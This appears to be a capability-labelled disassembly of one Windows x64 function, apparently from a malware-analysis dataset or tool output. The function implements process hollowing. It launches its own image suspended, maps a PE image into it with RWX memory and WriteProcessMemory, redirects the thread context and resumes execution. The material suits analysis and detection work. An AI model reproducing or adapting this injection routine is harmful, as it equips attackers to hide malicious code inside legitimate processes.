Function at 0x1400015c4
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push rbp
sub rsp, 0x6f0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x680], rcx
mov dword [rbp + 0x688], edx
mov rax, qword [rbp + 0x680]
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x660]
add rax, rdx
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov eax, dword [rax]
cmp eax, 0x4550
jne 0x1400018e6
lea rax, [rbp + 0x620]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x5b0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x620]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x5b0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x1400018e6
mov dword [rbp + 0x110], 0x10000b
mov rcx, qword [rbp + 0x628]
lea rax, [rbp + 0xe0]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
je 0x1400018e6
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x650]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x620]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rax, qword [rbp + 0x620]
mov rcx, qword [rbp + 0x660]
mov rdx, qword [rbp + 0x648]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov qword [rbp + 0x668], 0
jmp 0x140001843
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x660]
lea rcx, [rax + rdx]
mov rdx, qword [rbp + 0x668]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x108
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x660]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x640]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x620]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
add qword [rbp + 0x668], 1
mov rax, qword [rbp + 0x650]
movzx eax, word [rax + 6]
movzx eax, ax
cmp qword [rbp + 0x668], rax
jb 0x14000179e
mov rax, qword [rbp + 0x650]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x648]
add rax, rdx
mov qword [rbp + 0x160], rax
mov rcx, qword [rbp + 0x628]
lea rax, [rbp + 0xe0]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x628]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x620]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x628]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x620]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x6f0
pop rbp
ret